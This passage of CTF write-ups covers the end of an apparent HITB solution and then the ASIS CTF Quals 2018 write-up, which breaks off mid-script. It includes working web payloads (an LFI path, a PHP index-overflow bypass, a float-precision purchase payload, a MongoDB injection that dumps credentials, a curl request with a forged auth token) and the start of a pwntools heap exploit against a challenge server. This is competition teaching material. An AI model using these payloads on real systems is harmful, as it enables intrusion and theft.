'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'a=marshal.loads(zlib.decompress((b64).decode("base64"))) flag=["?"]*50 # initialize flag stringn=a.co_consts[0].co_consts # the const contains flag byte and index bytecode=a.co_consts[0].co_code[34:] # extract useful bytecode # Now we can reconstruct the flagwhile code.find("|\x01\x00d")!=-1: pos=code.find("|\x01\x00d") code=code[pos:] i=ord(code[4]) j=ord(code[8]) #the first is index, the second is flag flag[n[i]]=n[j] code=code[1:]print "".join(flag) ```The flag is `HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}`### multicheck (sasdf)Extract `claz.dex` from `lib/libcheck.so` by xor with increasing byte stream started with 233 (i.e. i=233; i++). Run the inverse of algorithm in `claz.dex` to uncover input string.```pythondef decBlock(a, b): i5 = np.int32(0) for _ in range(32): i5 -= np.int32(1640531527) for _ in range(32): b -= (((a << np.int32(4)) + coeff[2]) ^ (a + i5)) ^ ((a >> np.int32(5)) + coeff[3]) a -= (((b << np.int32(4)) + coeff[0]) ^ (b + i5)) ^ ((b >> np.int32(5)) + coeff[1]) i5 += np.int32(1640531527) return int(a), int(b)```
# ASIS CTF Quals 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.** - [ASIS CTF Quals 2018](#asis-ctf-quals-2018) - [Web](#web) - [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin) - [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107) - [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin) - [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin) - [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera) - [Gameshop (unsolved)](#gameshop-unsolved) - [rev](#rev) - [Warm up (sces60107)](#warm-up-sces60107) - [baby C (sces60107)](#baby-c-sces60107) - [Echo (sces60107)](#echo-sces60107) - [Left or Right? (sces60107)](#left-or-right-sces60107) - [Density (sces60107)](#density-sces60107) - [pwn](#pwn) - [Cat (kevin47)](#cat-kevin47) - [Just_sort (kevin47)](#just_sort-kevin47) - [message_me (kevin47)](#message_me-kevin47) - [Tinypwn (kevin47)](#tinypwn-kevin47) - [PPC](#ppc) - [Neighbour (lwc)](#neighbour-lwc) - [The most Boring (how2hack)](#the-most-boring-how2hack) - [Shapiro (shw)](#shapiro-shw) - [misc](#misc) - [Plastic (sces60107)](#plastic-sces60107) - [forensic](#forensic) - [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin) - [first step](#first-step) - [second step](#second-step) - [third step](#third-step) - [Tokyo (sces60107)](#tokyo-sces60107) - [crypto](#crypto) - [the_early_school (shw)](#the_early_school-shw) - [Iran (shw and sasdf)](#iran-shw-and-sasdf) - [First-half](#first-half) ## Web ### Nice code (unsolved, written by bookgin) The challenge is related to PHP code review. The page will show the error message. All we have to do is bypass the error :) ```# substr($URL, -10) !== '/index.php'http://167.99.36.112:8080/admin/index.php# $URL == '/admin/index.php'http://167.99.36.112:8080/admin/index.php/index.php``` Next, we are redirected to http://167.99.36.112:8080/another/index.php?source . ```php $_v){ if($_k_o == $k_Jk){ $f = 1; } if($f && strlen($__dgi)>17 && $_p == 3){ $k_Jk($_v,$_k_o); //my shell :) } $_p++; }}else{ echo "noob!";} ``` Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`. However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow! The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE. Postscript: 1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.3. If the condition is impossible to bypass, just dig into the bug databse/source code.4. The challenge is solved by more than 20 teams, so it must be simple to find a solution. I've learned a lot. Thanks to this challenge and PHP! ### Bug Flag (bookgin, sces60107) Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask. ```pythonfrom flask import Flask, Response, render_template, session, request, jsonify app = Flask(__name__)app.secret_key = open('private/secret.txt').read() flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }} @app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons')) @app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png') @app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result) if __name__ == '__main__': app.run(host='0.0.0.0', port=80)``` The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session. Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works. Let's test Python floating-point precision.```pythonPython 2.7.14 (default, Jan 5 2018, 10:41:29) [GCC 7.2.1 20171224] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 2901.4210854715202004e-14``` Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`. Payload:```{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}``` Flag: `ASIS{th1@n_3xpens1ve_Fl@G}` You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893). ### Good WAF (solved by ysc, written by bookgin) The challenge requires us to bypass the WAF on SQL injection. **Unintended solution:** When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all. Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}` Never fix anything on the production server directly :) ### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin) Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages: - admin_area- get/title/1- get/text/1- get/image/1 The `admin_area` requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.` Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB. Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard. Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`: ```{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"} {"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}``` Great! The payload:```shcurl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut -f1 -d' '`"``` Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}` Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this. Next time, I'll carefully inspect every payload and HTTP status code/headers. ### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera) The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`. The source HTML of `error/1`. ```html<html><head><script src='/jquery-3.3.1.min.js'></script><link href='style.css' rel='stylesheet'></head><body><div class="accordion"> <dl> <dt class="active"> <script>var user = '1';</script>Invalid credentials were given.``` If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons. It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither. What if it's not a XSS challenge? I don't think so because: 1. I note that the jQuery is loaded in the error page, but it's not used.2. There is a XSS filter. The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all. This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully. It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability. SQLmap will dump the database. The DB is SQlite. Thanks to @herrera in IRC channel:> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php Postscript: 1. Sharp eyes: HTTP status code2. Some misleading part might be the second stage of the challenge.3. It a number of teams solve this challenge, it must be not difficult. ### Gameshop (unsolved) Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution). Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` . However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge. There is a long road to go on solving web challnges:) ## rev ### Warm up (sces60107) This is a warm up challenge. They give you a C file like this. ```C#define M 37#define q (2+M/M)#define v (q/q)#define ef ((v+q)/2)#define f (q-v-ef)#define k (8-ef)struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}``` You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.It look likes you need to beautify this code. You can count on online tools, but I do this with myself. And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood. The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}` ### baby C (sces60107) This challenge give you a obfuscated binary. It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator). It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former. But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary. ```....text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset strncmp_plt.text:08049576 mov eax, dword_83F6158.text:0804957B mov eax, off_85F61C8[eax*4].text:08049582 mov eax, [eax]...``` I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)` Well, the hint tell us `flag is ASIS{sha1(input[:14])}` Now we just need the first three byte. The next step needs patience. you have to trace down the code manually. Then you can find this ```....text:080498C8 mov dl, byte ptr dword_804D050.text:080498CE mov edx, dword_81F5B70[edx*4].text:080498D5 mov dword_804D05C, edx.text:080498DB mov dword_804D058, 'A'.text:080498E5 mov eax, dword_804D05C.text:080498EA mov edx, dword_804D058.text:080498F0 mov ecx, 8804B21Ch...``` If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge. Now we know it is try to compare the first byte of input to `A` The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte. ```....text:08049BED mov edx, 0.text:08049BF2 mov dl, byte ptr dword_804D050.text:08049BF8 mov edx, dword_81F5B70[edx*4].text:08049BFF mov dword_804D05C, edx.text:08049C05 mov dword_804D058, 'h'.text:08049C0F mov eax, dword_804D05C.text:08049C14 mov edx, dword_804D058.text:08049C1A mov ecx, 8804B21Ch....text:08049F17 mov edx, 0.text:08049F1C mov dl, byte ptr dword_804D050.text:08049F22 mov edx, dword_81F5B70[edx*4].text:08049F29 mov dword_804D05C, edx.text:08049F2F mov dword_804D058, '_'.text:08049F39 mov eax, dword_804D05C.text:08049F3E mov edx, dword_804D058.text:08049F44 mov ecx, 8804B21Ch...``` Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`. So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`### Echo (sces60107) You will be given a binary in this challenge. Just try to execute it.```$ ./Echo Missing argument$ ./Echo blablaError opening blabla!``` Well, you only get some error message. After using some decompile tool I found this. ``` if ( v9 <= 1 ) { fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr); exit(1); } if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) ) { v46 = (signed int)sub_970(v49); }``` It seems like you should put `GIVEMEFLAG` in the first argument. ```./Echo GIVEMEFLAGaawtfwtfthisisuselessthisisuseless``` Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value. Then I found this function return a string array `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]` Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen. before that there a bunch of `[+]>` . It will clean the buffer. The goal is clear now. we need to what does it put on the buffer before it remove them. We can rewrite the brainfuck string to fulfill our requirements The new brainfuck string will be `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]` Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}` According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}` The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`### Left or Right? (sces60107) Just try to execute the given binary. ```$ ./right_or_left What's The Secret Key?I dont knowinvalid key:( try again``` So it seems like we need a secret key? Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary. I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun` I try to input those strings ```$ ./right_or_left What's The Secret Key?therustlanguageisfunASIS{that_is_not_the_real_flag}$ ./right_or_left What's The Secret Key?superkey ASIS{be_noughty_step_closer_to_see_the_flag}$ ./right_or_left What's The Secret Key?mysecretkeyASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}``` It seems like they are all fake flag. Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag. Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position. ![](https://i.imgur.com/Riza8hO.png) Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}` There is another way to capture the flag. In this way, you should find out the real secret key. Practically, you need to locate the key-checking function. Track those fake key. you will find out the key-checking function. It is located at `sub_83c0` Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`### Density (sces60107) In this challenge you will get a binary and a encrypted flag. This chllenge is not difficult at all. The binary name is "b64pack". You can just try base64```$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==``` There is string while looks like flag`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==` We still need to reverse the binary. You can divide this binary into three part. The first part:`input=randomstr+input+flag` The second part:```pythonnewinput=""for i in input: if i in "@$_!\"#%&'()*+,-./:;<=>?\n": newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) elif i in "[\\]^{|}~`\t": newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) else: newinput+=i```The third part:```output=newinput.decode("base64")``` Now you know how to reconstruct the flag.The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`## pwn ### Cat (kevin47) * I am a idiot that can't think, so I used the most hardcore way :)* Use name and kind to leak heap, libc, stack, canary* fastbin dup attack to stack twice in order to overwrite return address ```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('178.62.40.102', 6000) def create(name, kind, age, nonl=0, stack=''): if name == '': r.recvrepeat(1) if stack: r.send(stack) else: r.send('0001') if name == '': r.sendlineafter('>', '') r.sendlineafter('>', '') else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) def edit(idx, name, kind, age, modify, sp=1): r.send('0002') r.send(str(idx).rjust(4, '0')) if sp: r.recvrepeat(1) r.sendline(name) 